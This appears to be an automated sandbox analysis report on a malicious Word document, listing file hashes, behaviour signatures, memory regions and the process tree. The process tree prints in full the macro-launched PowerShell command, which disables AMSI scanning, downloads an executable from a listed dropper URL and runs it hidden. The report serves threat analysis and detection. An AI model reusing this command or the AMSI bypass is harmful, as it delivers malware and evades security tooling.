Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 21:18

General

  • Target

    7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc

  • Size

    653KB

  • MD5

    7347b8b482d4185b9e80b7013ced1019

  • SHA1

    2a74cb315082a3729d80ebde02757b7e7ed5ab3f

  • SHA256

    f0477ac3d6076130fdb7feb394b84994421484e70674a303b063168d4fd59d10

  • SHA512

    09080b8756e6d3b8d121461e9a1b7d2347df09dab20fd8913aef76da39d457a8613edab7ae30c942d04455dc78eacbad6d0e2b838c748d192088817d9ef0d17d

  • SSDEEP

    12288:nuvKkfP+nEhsv5BcQsNeKvix7unLpdlo5CXmobj5Nnz7X:n+KkHq5BchNe0k7uLpb8Qmobj5lz

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://ptpjm.co.id/updd/ppg.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1900
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\uyxu.exe') {Remove-Item $env:APPDATA + '\uyxu.exe'}; $RGCUN = New-Object System.Net.WebClient; $RGCUN.Headers['User-Agent'] = 'RGCUN'; $RGCUN.DownloadFile('http://ptpjm.co.id/updd/ppg.exe', $env:APPDATA + '\uyxu.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\uyxu.exe'); Stop-Process -Id $Pid -Force
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2576
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      2a88e3c3e33208e8f4874b93e8b38eeb

      SHA1

      3d639414654171dd0246317df106f883be6012ae

      SHA256

      141b699e63bc78787aea4df760aa67043a7f4e6643e4770f3d82b6ef24859040

      SHA512

      04d837eee37f8dc53bd96a3662e725376ac858fd785546de4924f3450062c469165ca88a7621ffa82c80c0d103399e9beae6ed5f4b89da629627ace90e443b05

    • memory/1900-0-0x000000002F1C1000-0x000000002F1C2000-memory.dmp

      Filesize

      4KB

    • memory/1900-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1900-2-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1900-31-0x0000000005B60000-0x0000000005C60000-memory.dmp

      Filesize

      1024KB

    • memory/1900-30-0x0000000005B60000-0x0000000005C60000-memory.dmp

      Filesize

      1024KB

    • memory/1900-29-0x0000000005B60000-0x0000000005C60000-memory.dmp

      Filesize

      1024KB

    • memory/1900-40-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB

    • memory/1900-41-0x0000000005B60000-0x0000000005C60000-memory.dmp

      Filesize

      1024KB

    • memory/1900-42-0x0000000005B60000-0x0000000005C60000-memory.dmp

      Filesize

      1024KB

    • memory/1900-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1900-58-0x000000007121D000-0x0000000071228000-memory.dmp

      Filesize

      44KB